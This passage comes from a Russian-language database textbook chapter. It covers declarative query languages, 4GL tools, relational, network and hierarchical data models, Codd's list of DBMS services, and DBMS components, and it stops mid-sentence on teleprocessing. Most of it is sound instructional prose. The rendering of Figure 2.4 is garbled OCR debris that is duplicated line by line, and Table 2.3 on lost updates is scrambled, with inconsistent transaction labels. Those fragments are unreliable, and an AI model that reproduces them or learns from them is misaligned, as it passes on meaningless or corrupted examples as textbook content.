Непроцедурные языки DML позволяют определить весь набор требуемых данных с помощью одного оператора извлечения или обновления. С помощью непроцедурных языков DML пользователь указывает, какие данные ему нужны, без определения способа их получения. СУБД транслирует выражение на языке DML в процедуру (или набор процедур), которая обеспечивает манипулирование затребованным набором записей. Данный подход освобождает пользователя от необходимости знать детали внутренней реализации структур данных и особенности алгоритмов, используемых для извлечения и возможного преобразования данных. В результате работа пользователя получает определенную степень независимости от данных. Непроцедурные языки часто также называют декларативными языками. Реляционные СУБД в той или иной форме обычно включают поддержку непроцедурных языков манипулирования данными — чаще всего это бывает язык структурированных запросов SQL (Structured Query Language) или язык запросов по образцу QBE (Query-by-Example). Непроцедурные языки обычно проще понять и использовать, чем процедурные языки DML, поскольку пользователем выполняется меньшая часть работы, а СУБД — большая. Более подробно язык SQL рассматривается в главах 13, “Язык SQL”, и 14, “Дополнительные средства языка SQL”, а язык QBE — в главе 15, “Язык QBE”.
Часть непроцедурного языка DML, которая отвечает за извлечение данных, называется языком запросов. Язык запросов можно определить как высокоуровневый узкоспециализированный язык, предназначенный для удовлетворения различных требований по выборке информации из базы данных. В этом смысле термин “запрос” зарезервирован для обозначения оператора извлечения данных, выраженного с помощью языка запросов. Термины “язык запросов” и “язык управления данными” часто используются как синонимы, хотя, с технической точки зрения, это некорректно.
Языки 4GL
Аббревиатура “4GL” представляет собой сокращенный английский вариант написания термина язык четвертого поколения (Fourth-Generation Language). Не существует четкого определения этого понятия, хотя, по сути, речь идет о некотором стенографическом варианте языка программирования. Если для организации некоторой операции с данными на языке третьего поколения (3GL) типа COBOL потребуется написать сотни строк кода, то для реализации этой же операции на языке четвертого поколения будет достаточно 10-20 строк.
В то время как языки третьего поколения являются процедурными, языки 4GL выступают как непроцедурные, поскольку пользователь определяет, что должно быть сделано, но не говорит, как именно желаемый результат должен быть достигнут. Предполагается, что реализация языков четвертого поколения будет в значительной мере основана на использовании компонентов высокого уровня, которые часто называют “инструментами четвертого поколения”. Пользователю не потребуется определять все этапы выполнения программы, необходимые для решения поставленной задачи, а достаточно будет лишь определить нужные параметры, на основании которых упомянутые выше инструменты автоматически осуществят генерацию прикладного приложения. Ожидается, что языки четвертого поколения позволят повысить производительность работы на порядок, но за счет ограничения типов задач, которые можно будет решать с их помощью. Выделяют следующие типы языков четвертого поколения:
языки представления информации, например языки запросов или генераторы отчетов;
специализированные языки, например языки электронных таблиц и баз данных;
генераторы приложений, которые при создании приложений обеспечивают определение, вставку, обновление или извлечение сведений из базы данных;
языки очень высокого уровня, предназначенные для генерации кода приложений.
В качестве примеров языков четвертого поколения можно указать упоминавшиеся выше языки SQL и QBE. Рассмотрим вкратце некоторые другие типы 4СЬ-языков.
Генераторы форм
Генератор форм представляет собой интерактивный инструмент, предназначенный для быстрого создания шаблонов ввода и отображения данных в экранных формах. Генератор форм позволяет пользователю определить внешний вид экранной формы, ее содержимое и место расположения на экране. С его помощью можно задавать цвета элементов экрана, а также другие характеристики, например полужирное, подчеркнутое, мерцающее или реверсивное начертание и т.д. Более совершенные генераторы форм позволяют создавать вычисляемые атрибуты с использованием арифметических операторов или обобщающих функций, а также задавать правила проверки вводимых данных.
Генераторы отчетов
Генератор отчетов является инструментом создания отчетов на основе хранимой в базе данных информации. Он подобен языку запросов в том смысле, что пользователю предоставляются средства создания запросов к базе данных и извлечения из нее информации, используемой для представления в отчете. Однако генераторы отчетов, как правило, предусматривают гораздо большие возможности управления внешним видом отчета. Генератор отчета позволяет либо автоматически определять вид получаемых результатов, либо с помощью специальных команд создавать свой собственный вариант внешнего вида печатаемого документа.
Существует два основных типа генераторов отчетов: языковой и визуальный. В первом случае для определения нужных для отчета данных и внешнего вида документа следует ввести соответствующую команду на некотором подъязыке. Во втором случае для этих целей используется визуальный инструмент, подобный генератору форм.
Генераторы графического представления данных
Этот генератор представляет собой инструмент, предназначенный для извлечения информации из базы данных и отображения ее в виде диаграмм с графическим представлением существующих тенденций и связей. Обычно с помощью подобного генератора создаются гистограммы, круговые, линейчатые, точечные диаграммы и т.д.
Генераторы приложений
Генератор приложений представляет собой инструмент для создания программ, взаимодействующих с базой данных. Применяя генератор приложений, можно сократить время, необходимое для проектирования полного объема требуемого прикладного программного обеспечения. Генераторы приложений обычно состоят из предварительно созданных модулей, содержащих фундаментальные функции, которые требуются для работы большинства программ. Эти модули, обычно создаваемые на языках высокого уровня, образуют “библиотеку” доступных функций. Пользователь указывает, какие задачи программа должна выполнить, а генератор приложений определяет, как их следует выполнить.
Модели данных и концептуальное моделирование
Выше уже упоминалось, что схема создается с помощью некоторого языка определения данных. На самом деле она создается на основе языка определения данных конкретной целевой СУБД. К сожалению, это язык относительно низкого уровня; с его помощью трудно описать требования к данным в масштабе всей организации так, чтобы созданная схема была доступна пониманию пользователей самых разных категорий. В чем мы действительно нуждаемся, так это в описании схемы на некотором, более высоком уровне, которое будем называть моделью данных.
Модель Интегрированный набор понятий для описания данных, связей между данных ними и ограничений, накладываемых на данные в некоторой органйза- ции.
Модель является представлением “реального мира” объектов и событий, а также существующих между ними связей. Это некоторая абстракция, в которой акцент делается на самых важных и неотъемлемых аспектах деятельности организации, а все второстепенные свойства игнорируются. Таким образом, можно сказать, что модель данных представляет саму организацию. Модель должна отражать основные концепции, представленные в таком виде, который позволит проектировщикам и пользователям базы данных обмениваться конкретными и недвусмысленными мнениями об их понимании роли тех или иных данных в этой организации. Модель данных можно рассматривать как сочетание трех указанных ниже компонентов.
Структурная часть, т.е. набор правил, по которым может быть построена база данных.
Управляющая часть, определяющая типы допустимых операций с данными (сюда относятся операции обновления и извлечения данных, а также операции изменения структуры базы данных).'
Набор ограничений поддержки целостности данных (необязательно), гарантирующих корректность используемых данных.,
Цель построения модели данных заключается в представлении данных в понятном виде. Если такое представление возможно, то модель данных можно будет легко применить при проектировании базы данных. Для отображения обсуждавшейся в разделе 2.1 архитектуры ANSI-SPARC можно идентифицировать следующие три связанные модели данных:
внешнюю модель данных, отображающую представления каждого существующего в организации типа пользователей, которую иногда называют предметной областью (Universe of Discourse — UoD);
концептуальную модель данных, отображающую логическое (или обобщенное) представление о данных, не зависимое от типа выбранной СУБД;
внутреннюю модель данных, отображающую концептуальную схему определенным образом, понятным выбранной целевой СУБД.
В литературе предложено и опубликовано достаточно много моделей данных. Они подразделяются на три категории: объектные (object-based) модели данных, модели данных на основе записей (record-based) и физические модели данных. Первые две используются для описания данных на концептуальном и внешнем уровнях, а последняя — на внутреннем уровне.
Объектные модели данных
При построении объектных моделей данных используются такие понятия как сущности, атрибуты и связи. Сущность — это отдельный элемент (сотрудник, место или вещь, понятие или событие) организации, который должен быть представлен в базе данных. Атрибут — это свойство, которое описывает некоторый аспект объекта и значение которого следует зафиксировать, а связь является ассоциативным отношением между сущностями. Ниже перечислены некоторые наиболее общие типы объектных моделей данных.
Модель типа “сущность-связь”, или ER-модель (Entity-Relationship model).
Семантическая модель.
Функциональная модель.
Объектно-ориентированная модель.
В настоящее время ER-модель стала одним из основных методов концептуального проектирования баз данных, и именно она положена в основу предлагаемой в этой книге методологии проектирования баз данных. Объектно-ориентированная модель расширяет определение сущности с целью включения в него не только атрибутов, которые описывают состояние объекта, но и действий, которые с ним связаны, т.е. его поведение. В таком случае говорят, что объект инкапсулирует состояние и поведение. Более подробно модель типа “сущность-связь” рассматривается в главе 5, “Модель “сущность-связь””, а объектно-ориентированная модель — в главах 21-23.
Модели данных на основе записей
В модели на основе записей база данных состоит из нескольких записей фиксированного формата, которые могут иметь разные типы. Каждый тип записи определяет фиксированное количество полей, каждое из которых имеет фиксированную длину. Существует три основных типа логических моделей данных на основе записей: реляционная модель данных (relational data model), сетевая модель данных (network data model) и иерархическая модель данных (hierarchical data model). Иерархическая и сетевая модели данных были созданы почти на десять лет раньше реляционной модели данных, а потому их связь с концепциями традиционной обработки файлов более очевидна.
Реляционная модель данных
Реляционная модель данных основана на понятии математических отношений. В реляционной модели данные и связи представлены в виде таблиц, каждая из которых имеет несколько столбцов с уникальными именами. В табл. 2.1 и 2.2 показан пример реляционной схемы некоторой части проекта DreamHome, содержащей сведения об отделениях компании и персонале организации. Например, из табл. 2.2 видно, что сотрудник 'John White' проживает по адресу '19 Taylor St, London' и работает менеджером с годовой зарплатой в 30000 фунтов стерлингов в отделении компании с номером 'В5', который, согласно данным из табл. 2.1, расположен по адресу '22 Deer Rd, Sidcup, London'. Здесь важно отметить, что между отношениями Staff и Branch существует следующая связь: сотрудник работает в отделении компании. Однако между этими двумя отношениями нет явно заданной связи; ее существование можно заметить, только зная, что атрибут Впо в отношении Staff эквивалентен атрибуту Впо в отношении Branch.
Таблица 2.1. Пример описания сущности Branch в реляционной схеме
Впо
Street
Area
City
Pcode
Tel_No
Fax.No
В5
22 Deer Rd
Sidcup
London
SW1 4EH
0171-886-1212
0171-886-1214
В7
16 Argyll St
Dyce
Aberdeen
AB2 3SU
01224-67125
01224-67111
ВЗ
163 Main St
Partick
Glasgow
G11 9QX
0141-339-2178
0141-339-4439
В4
32 Manse Rd
Leigh
Bristol
BS99 1NZ
0117-916-1170
0117-776-1114
В2
56 Clover Dr
London
NW10 6EU
0181-963-1030
0181-453-7992
Таблица 2.2. Пример описания сущности Staff в реляционной схеме
Sno
FName
LName
Address
Tel_No
Position
Sex
DOB
Salary
NIN
Bno
SL21
John
White
19 Taylor st, Cranford, London
0171884
5112
Manager
M
1-Oct-
45
30000
WK4 4201 1B
B5
SG37
Ann
Beech
81 George st, Glasgow PA1 2JR
0141848
3345
Snr Asst
F
10-Nov-
60
12000
WL4 3251 4C
B3
SG14
David
Ford
63 Ashby st, Partick, Glasgow G11
0141
339
2177
Deputy
M
24-Mar-
58
18000
WL2 2065
8D
B3
SA9
Mary
Howe
2 Elm PI, Aberdeen AB2 3SU
Assistant
F
19-Feb-
70
9000
WM5 321 87D
B7
SG5
Susan
Brand
5 Gt Western Rd Glasgow G12
0141
334
2001
Manager
F
3-Jun-
40
24000
WKS 8893 2E
B3
SL41
Julie
Lee
28 Malvern st, Kilburn
. NW2
0181554
3541
Assistant
F
13-Jun-
65
9000
WA2 9057
3K
B5
Обратите внимание, что в реляционной модели данных единственное требование состоит в том, чтобы база данных с точки зрения пользователя выглядела как набор таблиц. Однако такое восприятие относится только к логической структуре базы данных, т.е. ко внешнему и концептуальному уровням архитектуры ANSI/SPARC. Оно не относится к физической структуре базы данных, которая может быть реализована с помощью разнообразных структур хранения. Более подробно реляционная модель данных рассматривается в главе 3, “Реляционная модель”.
Сетевая модель данных
В сетевой модели данные представлены в виде коллекций записей, а связи — в виде наборов. В отличие от реляционной модели, связи здесь явным образом моделируются наборами, которые реализуются с помощью указателей. Сетевую модель можно представить как граф с записями в виде узлов графа и наборами в виде его ребер. На рис. 2.4 показан пример сетевой схемы для тех же наборов данных, которые показаны в табл. 2.1 и 2.2. Самой популярной сетевой СУБД является система IDMS/R фирмы Computer Associates. Более подробно сетевая модель данных рассматривается в приложении В, “Сетевая модель данных”.
|Sidcup I jSLondon|Sidcup I jSLondonSL41 <= Julie \1|Щ:: |'ll; IХ> $W'£nw4jlssistant |<9000 fSL41 <= Julie \1|Щ:: |'ll; IХ> $W'£nw4jlssistant |<9000 f(30000 I(30000 IPartickPartickS toyS toyGlasgowGlasgow| Sleigh | |/z Bristol|| Sleigh | |/z Bristol|' I |. ' London' I |. ' Londonford |ford |DavidDavidсхемысхемыIIDeputy | ИЖ) IDeputy | ИЖ) ISG14SG14Puc. 2.4. Пример фрагмента сетевойPuc. 2.4. Пример фрагмента сетевой
|Sidcup I jSLondon
|Sidcup I jSLondon
SL41 <
= Julie \
1|Щ:: |
'll; I
Х> $W'£nw4
jlssistant |
<9000 f
SL41 <
= Julie \
1|Щ:: |
'll; I
Х> $W'£nw4
jlssistant |
<9000 f
(30000 I
(30000 I
Partick
Partick
S toy
S toy
Glasgow
Glasgow
| Sleigh | |/z Bristol|
| Sleigh | |/z Bristol|
' I |. ' London
' I |. ' London
ford |
ford |
David
David
схемы
схемы
I
I
Deputy | ИЖ) I
Deputy | ИЖ) I
SG14
SG14
Puc. 2.4. Пример фрагмента сетевой
Puc. 2.4. Пример фрагмента сетевой
Иерархическая модель данных
Иерархическая модель является ограниченным подтипом сетевой модели. В ней данные также представлены как коллекции записей, а связи — как наборы. Однако в иерархической модели узел может иметь только одного родителя. Иерархическая модель может быть представлена как древовидный граф с записями в виде узлов (которые также называются сегментами) и множествами в виде ребер. На рис. 2.5 приведен пример иерархической схемы для тех же наборов данных, которые показаны в табл. 2.1 и 2.2. Самой распространенной иерархической СУБД является система IMS корпорации IBM, хотя она обладает также некоторыми другими неиерархическими чертами. Иерархическая модель данных более подробно рассматривается в приложении Г, “Иерархическая модель данных”.
Основанные на записях (логические) модели данных используются для определения общей структуры базы данных и высокоуровневого описания ее реализации. Их основной недостаток заключается в том, что они не дают адекватных средств для явного указания ограничений, накладываемых на данные. В то же время в объектных моделях данных отсутствуют средства указания их логической структуры, но за счет предоставления пользователю возможности указать ограничения для данных, они позволяют в большей мере представить семантическую суть хранимой информации.
Большинство современных коммерческих систем основано на реляционной парадигме, тогда как самые первые системы баз данных строились на основе сетевой или иерархической модели. При использовании последних двух моделей от пользователя требуется знание физической организации базы данных, к которой он должен осуществлять доступ, в то время как при работе с реляционной моделью независимость от данных обеспечивается в значительно большей степени. Следовательно, если в реляцион-
ных системах для обработки информации в базе данных принят декларативный подход (т.е. они указывают, какие данные следует извлечь), то в сетевых и иерархических системах — навигационный подход (т.е. они указывают, как их следует извлечь).
Рис* 2*5* Пример фрагмента иерархической схемы
Физические модели данных
Физические модели данных описывают то, как данные хранятся в компьютере, представляя информацию о структуре записей, их упорядоченности и существующих путях доступа. Физических моделей данных не так много, как логических, а самыми популярными среди них являются обобщающая модель (unifying model) и модель памяти кадров (frame memory).
Концептуальное моделирование
Как показывает изучение трехуровневой архитектуры СУБД, концептуальная схема является “сердцем” базы данных. Она поддерживает все внешние представления, а сама поддерживается средствами внутренней схемы. Однако внутренняя схема является всего лишь физическим воплощением концептуальной схемы. Именно концептуальная схема призвана быть полным и точным представлением требований к данным некоторого предприятия. В противном случае определенная часть информации о предприятии будет упущена или искажена, в результате чего могут возникнуть трудности при попытках полной реализации одного или нескольких внешних представлений.
Концептуальное моделирование, или концептуальное проектирование, базы данных это процесс конструирования модели использования информации на некотором предприятии. Этот процесс не зависит от таких подробностей, как используемая СУБД, прикладные программы, языки программирования или любые другие вопросы физиче-
ской организации информации. Подобная модель называется концептуальной моделью данных. Концептуальные модели в литературе иногда также называют логическими моделями. Однако в этой книге мы проводим различия между концептуальной и логической моделями данных. Концептуальная модель не зависит от любых деталей реализации, тогда как при разработке логической модели предполагается знание типа базовой модели представления данных в выбранной целевой СУБД. В главах 7, “Методология концептуального проектирования баз данных”, и 8, “Методология логического проектирования реляционных баз данных”, вашему вниманию будет предложена методология проектирования баз данных, которая начинается с создания концептуальной модели данных, с последующим ее уточнением и преобразованием в логическую модель, основанную на реляционной модели данных. Более подробно вопросы проектирования баз данных обсуждаются в разделе 4.3.
Функции СУБД
В этом разделе мы рассмотрим типы функций и служб (сервисов), которые должна обеспечивать типичная СУБД. В свое время Кодд предложил перечень из восьми сервисов, которые должны быть реализованы в любой полномасштабной СУБД (Codd, 1982). Ниже приводится краткое описание каждого из них.
Хранение, извлечение и обновление данных
СУБД должна предоставлять пользователям возможность сохранять, извлекать и обновлять данные в базе данных.
Это самая фундаментальная функция СУБД. Из обсуждения, проводимого в разделе 2.1, ясно, что способ реализации этой функции в СУБД должен позволять скрывать от конечного пользователя внутренние детали физической реализации системы (например, файловую организацию или используемые структуры хранения).
Каталог, доступный конечным пользователям
СУБД должна иметь доступный конечным пользователям каталог, в котором хранится описание элементов данных.
Ключевой особенностью архитектуры ANSI-SPARC является наличие интегрированного системного каталога с данными о схемах, пользователях, приложениях и т.д. Предполагается, что каталог доступен как пользователям, так и функциям СУБД. Системный каталог, или словарь данных, является хранилищем информации, описывающей данные в базе данных (по сути, это “данные о данных”, или метаданные). В зависимости от типа используемой СУБД количество информации и способ ее применения могут варьироваться. Обычно в системном каталоге хранятся следующие сведения:
имена, типы и размеры элементов данных;
имена связей;
накладываемые на данные ограничения поддержки целостности;
имена санкционированных пользователей, которым предоставлено право доступа к данным;
внешняя, концептуальная и внутренняя схемы и отображения между ними (см. раздел 2.1.4, “Схемы, отображения и экземпляры”);
' статистические данные, например частота транзакций и счетчики обращений к объектам базы данных.
Системный каталог позволяет достичь определенных преимуществ, перечисленных ниже.
Информация о данных может быть централизованно собрана и сохранена, что позволит контролировать доступ к этим данным, как и к любому другому ресурсу.
Можно определить смысл данных, что поможет другим пользователям понять их предназначение.
Упрощается сообщение, так как сохраняются точные определения смысла данных. В системном каталоге также могут быть указаны один или несколько пользователей, которые являются владельцами данных или обладают правом доступа к ним.
Благодаря централизованному хранению избыточность и противоречивость описания отдельных элементов данных могут быть легко обнаружены.
Внесенные в базу данных изменения могут быть запротоколированы.
Последствия любых изменений могут быть определены еще до их внесения, поскольку в системном каталоге зафиксированы все существующие элементы данных, установленные между ними связи, а также все их пользователи.
Меры обеспечения безопасности могут быть дополнительно усилены.
Появляются новые возможности организации поддержки целостности данных.
Может выполняться аудит сохраняемой информации.
Некоторые авторы, помимо системного каталога, выделяют каталог данных (data directory), в котором находится информация о месте и способе хранения данных. В этой книге термин “системный каталог” применяется в отношении всей информации о хранении данных. Более подробно системный каталог рассматривается в разделе 2.7, “Системные каталоги”.
Поддержка транзакций
СУБД должна иметь механизм, который гарантирует выполнение либо всех операций обновления данной транзакции, либо ни одной из них.
Транзакция представляет собой набор действий, выполняемых отдельным пользователем или прикладной программой с целью доступа или изменения содержимого базы данных. Примерами простых транзакций в проекте DreamHome может служить добавление в базу данных сведений о новом сотруднике, обновление сведений о зарплате некоторого сотрудника или удаление сведений о некотором объекте недвижимости. Примером более сложной транзакции может быть удаление сведений о сотруднике из базы данных и передача ответственности за все курируемые им объекты недвижимости другому сотруднику. В этом случае в базу данных потребуется внести сразу несколько изменений. Если во время выполнения транзакции произойдет сбой, например из-за выхода из строя компьютера, база данных попадает в противоречивое состояние, поскольку некоторые изменения уже будут внесены, а остальные — еще нет. Поэтому все частичные изменения должны быть отменены для возвращения базы данных в прежнее, непротиворечивое состояние. Более подробно обработка транзакций рассматривается в главе 17, “Управление транзакциями”.
Сервисы управления параллельностью
СУБД должна иметь механизм, который гарантирует корректное обновление базы данных при параллельном выполнении операций обновления многими пользователями.
Одна из основных целей создания и использования СУБД заключается в том, чтобы множество пользователей могло осуществлять параллельный доступ к совместно обрабатываемым данным. Параллельный доступ сравнительно просто организовать,
если все пользователи выполняют только чтение данных, поскольку в этом случае они не могут помешать друг другу. Однако, когда два или больше пользователей одновременно получают доступ к базе данных, конфликт с нежелательными последствиями легко может возникнуть, например, если хотя бы один из них попытается обновить данные. Рассмотрим параллельно выполняемые транзакции Тт и Т2, последовательность выполнения которых представлена в табл. 2.3.
Таблица 2.3. Пример возникновения проблемы „потерянного обновления"
ВремяТранзакция TtТранзакция Т2Столбец balx
ti
Чтение (balx)
100
t2
Чтение (balx)
balx = balx + 100
100
balx = balx - 10
Запись (balx)
200
<4
Запись (baix)
90
is
90
В транзакции Тз 10 фунтов стерлингов снимается со счета, баланс которого сохраняется в столбце balx, а в транзакции Т2 100 фунтов стерлингов помещается на этот же счет. Если бы транзакции выполнялись последовательно, т.е. одна за другой, без чередования отдельных операций, то в конечном итоге баланс был бы равен 190 фунтам стерлингов, независимо от порядка выполнения транзакций. В противном случае может возникнуть следующая ситуация. Допустим, что транзакции Ti и Т2 стартовали практически одновременно и прочли исходное значение баланса, равное 100 фунтам стерлингов. Затем транзакция Т2 увеличивает это значение на 100 фунтов стерлингов (до 200 фунтов стерлингов) и сохраняет полученное значение в базе данных. Немедленно после этого транзакция Тт уменьшает свою копию считанного исходного значения на 10 фунтов стерлингов (до 90 фунтов стерлингов) и сохраняет полученное значение в базе данных вместо только что записанного результата предыдущего обновления, вследствие чего возникает эффект “потери” 100 фунтов стерлингов.
СУБД должна гарантировать, что при одновременном доступе к базе данных многих пользователей подобных конфликтов не произойдет. Более подробно этот вопрос рассматривается в главе 17, “Управление транзакциями”.
Сервисы восстановления
СУБД должна предоставлять средства восстановления базы данных на случай какого-либо ее повреждения или разрушения.
При обсуждении поддержки транзакций упоминалось, что при сбое транзакции база данных должна быть возвращена в непротиворечивое состояние. Подобный сбой может произойти в результате выхода из строя системы или запоминающего устройства, ошибки аппаратного или программного обеспечения, которые могут привести к останову СУБД. Кроме того, пользователь может обнаружить ошибку во время выполнения транзакции и потребовать ее отмены. Во всех этих случаях СУБД должна предоставить механизм восстановления базы данных и возврата ее к непротиворечивому состоянию. Этот вопрос более подробно рассматривается в главе 17, “Управление транзакциями”.
Сервисы контроля доступа к данным
СУБД должна иметь механизм, гарантирующий возможность доступа к базе данных только санкционированных пользователей.
Нетрудно привести примеры, когда требуется скрыть некоторые хранимые в базе данных сведения от других пользователей. Например, менеджерам отделений компаний можно было бы предоставить всю информацию, связанную с зарплатой сотрудников, но желательно скрыть ее от других пользователей. Кроме того, базу данных следовало бы защитить от любого несанкционированного доступа. Термин безопасность относится к защите базы данных от преднамеренного или случайного несанкционированного доступа. Предполагается, что СУБД обеспечивает механизмы подобной защиты данных. Более подробно меры по обеспечению безопасности рассматриваются в главе 16, “Защита баз данных”.
Поддержка обмена данными
СУБД должна обладать способностью к интеграции с коммуникационным программным обеспечением.
Большинство пользователей осуществляют доступ к базе данных с помощью терминалов. Иногда эти терминалы подсоединены непосредственно к компьютеру с СУБД. В других случаях терминалы могут находиться на значительном удалении и обмениваться данными с компьютером, на котором располагается СУБД, через сеть. В любом случае СУБД получает запросы в виде сообщений обмена данными (communications messages) и аналогичным образом отвечает на них. Все такие попытки передачи данных управляются менеджером обмена данными. Хотя этот менеджер не является частью собственно СУБД, тем не менее, чтобы быть коммерчески жизнеспособной, любая СУБД должна обладать способностью интеграции с разнообразными существующими менеджерами обмена данными. Даже СУБД для персональных компьютеров должны поддерживать работу в локальной сети, чтобы вместо нескольких разрозненных баз данных для каждого отдельного пользователя можно было бы установить одну централизованную базу данных и использовать ее как общий ресурс для всех существующих пользователей. При этом предполагается, что не база данных должна быть распределена в сети, а удаленные пользователи должны иметь возможность доступа к централизованной базе данных. Такая топология называется распределенной обработкой. Более подробно она рассматривается в разделе 19.1.1.
Службы поддержки целостности данных
СУБД должна обладать инструментами контроля за тем, чтобы данные и их изменения соответствовали заданным правилам.
Целостность базы данных означает корректность и непротиворечивость хранимых данных. Она может рассматриваться как еще один тип защиты базы данных. Помимо того, что данный вопрос связан с обеспечением безопасности, он имеет более широкий смысл, поскольку целостность связана с качеством самих данных. Целостность обычно выражается в виде ограничений или правил сохранения непротиворечивости данных, которые не должны нарушаться в базе. Например, можно указать, что сотрудник не может отвечать одновременно более чем за десять объектов недвижимости. В этом случае при попытке закрепить очередной объект недвижимости за некоторым сотрудником, СУБД должна проверить, не превышен ли установленный лимит, и в случае обнаружения подобного превышения запретить закрепление нового объекта за данным сотрудником.
Разумно было бы предположить, что помимо перечисленных выше восьми сервисов, СУБД должна поддерживать еще два сервиса.
Службы поддержки независимости отданных
СУБД должна обладать инструментами поддержки независимости программ от фактической структуры базы данных.
Понятие независимости от данных уже рассматривалось в разделе 2.1.5, “Независимость от данных”. Обычно она достигается за счет реализации механизма поддержки представлений или подсхем. Физическая независимость от данных достигается довольно просто, так как обычно имеется несколько типов допустимых изменений физических характеристик базы данных, которые никак не влияют на представления. Однако добиться полной логической независимости от данных сложнее. Как правило, система легко адаптируется к добавлению нового объекта, атрибута или связи, но не к их удалению. В некоторых системах вообще запрещается вносить любые изменения в уже существующие компоненты логической схемы.
Вспомогательные службы
СУБД должна предоставлять некоторый набор различных вспомогательных служб.
Вспомогательные утилиты обычно предназначены для оказания помощи АБД в эффективном администрировании базы данных. Одни утилиты работают на внешнем уровне, а потому они, в принципе, могут быть созданы самим АБД, тогда как другие функционируют на внутреннем уровне системы и потому должны быть предоставлены самим разработчиком СУБД. Ниже приводятся некоторые примеры подобных утилит.
Утилиты импортирования, предназначенные для загрузки базы данных из плоских файлов, а также утилиты экспортирования, которые служат для выгрузки базы данных в плоские файлы.
Средства мониторинга, предназначенные для отслеживания характеристик функционирования и использования базы данных.
Программы статистического анализа, позволяющие оценить производительность или степень использования базы данных.
Инструменты реорганизации индексов, предназначенные для перестройки индексов и обработки случаев их переполнения.
Инструменты сборки мусора и перераспределения памяти для физического .устранения удаленных записей с запоминающих устройств, объединения освобожденного пространства и перераспределения памяти в случае необходимости.
Компоненты СУБД
СУБД является весьма сложным видом программного обеспечения, предназначенного для предоставления перечисленных в предыдущем разделе сервисов. Компонентную структуру СУБД практически невозможно обобщить, поскольку она очень сильно различается в разных системах. Однако при изучении систем баз данных полезно представлять себе ее обобщенную структуру в виде набора нескольких компонентов и определенных связей между ними. В этом разделе мы рассмотрим одну из возможных архитектур СУБД.
СУБД состоит из нескольких программных компонентов (модулей), каждый из которых предназначен для выполнения специфической операции. Как уже говорилось выше, некоторые функции СУБД могут поддерживаться используемой операционной системой. Однако в любом случае операционная система предоставляет только базовые службы и СУБД всегда представляет собой надстройку над ними. Таким образом, при проектировании СУБД следует учитывать особенности интерфейса между создаваемой СУБД и конкретной операционной системой.
Основные программные компоненты среды СУБД представлены на рис. 2.6. На этой схеме также показано, как СУБД взаимодействует с другими программными компонентами, например с такими, как пользовательские запросы и методы доступа (т.е. методы управления файлами, используемые при сохранении и извлечении записей с данными). Файловая организация и методы доступа бегло рассматриваются в приложении Б, “Структура данных в файлах с различной организацией”. Более полное описание этой темы можно найти в работах Тиори и Фрая (Теогеу and Fry, 1982), Видерхольда (Weiderhold, 1983), Смита и Барнса (Smith and Barnes, 1987), а также Ульмана (Ullman, 1988).
На рис. 2.6 показаны следующие программные компоненты среды СУБД.
Процессор запросов. Это основной компонент СУБД, который преобразует запросы в последовательность низкоуровневых инструкции для контроллера базы данных. Более полно функции этого компонента рассматриваются в главе 18, “Обработка запросов”.
База данных исистемный каталог
Рис. 2.6. Основные компоненты типичной системы управления базами данных
Контроллер базы данных. Этот компонент взаимодействует с запущенными пользователями прикладными программами и запросами. Контроллер базы данных принимает запросы и проверяет внешние и концептуальные схемы для определения тех концептуальных записей, которые необходимы для удовлетворения требований запроса. Затем контроллер базы данных вызывает контроллер файлов для выполнения поступившего запроса. Компоненты контроллера базы данных показаны на рис. 2.7.
Контроллер файлов манипулирует предназначенными для хранения данных файлами и отвечает за распределение доступного дискового пространства. Он создает и поддерживает список структур и индексов, определенных во внутренней схеме. Если используются хешированные файлы, то в его обязанности входит и вызов функций хеширования для генерации адресов записей. Однако контроллер файлов не управляет физическим вводом и выводом данных непосредственно, а лишь передает запросы соответствующим методам доступа, которые считывают данные в системные буферы или записывают их оттуда на диск.
Препроцессор языка DML. Этот модуль преобразует внедренные в прикладные программы DML-операторы в вызовы стандартных функций базового языка. Для генерации соответствующего кода препроцессор языка DML должен взаимодействовать с процессором запросов.
Компилятор языка DDL. Компилятор языка DDL преобразует DDL- команды в набор таблиц, содержащих метаданные. Затем эти таблицы сохраняются в системном каталоге, а управляющая информация — в заголовках файлов с данными.
Контроллер словаря. Контроллер словаря управляет доступом к системному каталогу и обеспечивает работу с ним. Системный каталог доступен большинству компонентов СУБД.
База данных и системный каталог
Рис. 2.7. Компоненты контроллера базы данных
Ниже перечислены основные программные компоненты, входящие в состав контроллера базы данных.
Контроль прав доступа. Этот модуль проверяет наличие у данного пользователя полномочий для выполнения затребованной операции.
Процессор команд. После проверки полномочий пользователя для выполнения затребованной операции управление передается процессору команд.
Средства контроля целостности. В случае операций, которые изменяют содержимое базы данных, средства контроля целостности выполняют проверку того, удовлетворяет ли затребованная операция всем установленным ограничениям поддержки целостности данных (например, требованиям, установленным для ключей).
Оптимизатор запросов. Этот модуль определяет оптимальную стратегию выполнения запроса. Более подробно оптимизация запросов рассматривается в главе 18, “Обработка запросов”.
Контроллер транзакций. Этот модуль осуществляет требуемую обработку операций, поступающих в процессе выполнения транзакций.
Планировщик. Этот модуль отвечает за бесконфликтное выполнение параллельных операций с базой данных. Он управляет относительным порядком выполнения операций, затребованных в отдельных транзакциях.
Контроллер восстановления. Этот модуль гарантирует восстановление базы данных до непротиворечивого состояния при возникновении сбоев. В частности, он отвечает за фиксацию и отмену результатов выполнения транзакций.
Контроллер буферов. Этот модуль отвечает за перенос данных между оперативной памятью и вторичным запоминающим устройством — например, жестким диском или магнитной лентой. Контроллер восстановления и контроллер буферов иногда (в совокупности) называют контроллером данных.
Последних четыре модуля подробно обсуждаются в главе 17, “Управление транзакциями”. Для воплощения базы данных на физическом уровне помимо перечисленных выше модулей нужны некоторые другие структуры данных. К ним относятся файлы данных и индексов, а также системный каталог. Группой DAFTG (Database Architecture Framework Task Group) была предпринята попытка стандартизации СУБД, и в 1986 году ею была предложена некоторая эталонная модель. Назначение эталонной модели заключается в определении концептуальных рамок для разделения предпринимаемых попыток стандартизации на более управляемые части и указания взаимосвязей между ними на очень широком уровне.
Архитектура многопользовательских СУБД
В этом разделе мы познакомимся с различными типовыми архитектурными решениями, используемыми при реализации многопользовательских СУБД, а именно со схемами обычной телеобработки, файловым сервером и технологией “клиент/сервер”.
Телеобработка
Традиционной архитектурой многопользовательских систем раньше считалась схема, получившая название “телеобработки”, при которой один компьютер с единственным процессором был соединен с несколькими терминалами так, как показано на рис. 2.8. При этом вся обработка выполнялась в рамках единственного компьютера, а присоединенные к нему пользовательские терминалы были типичными “неинтеллектуальными” устройствами, не способными функционировать самостоя-
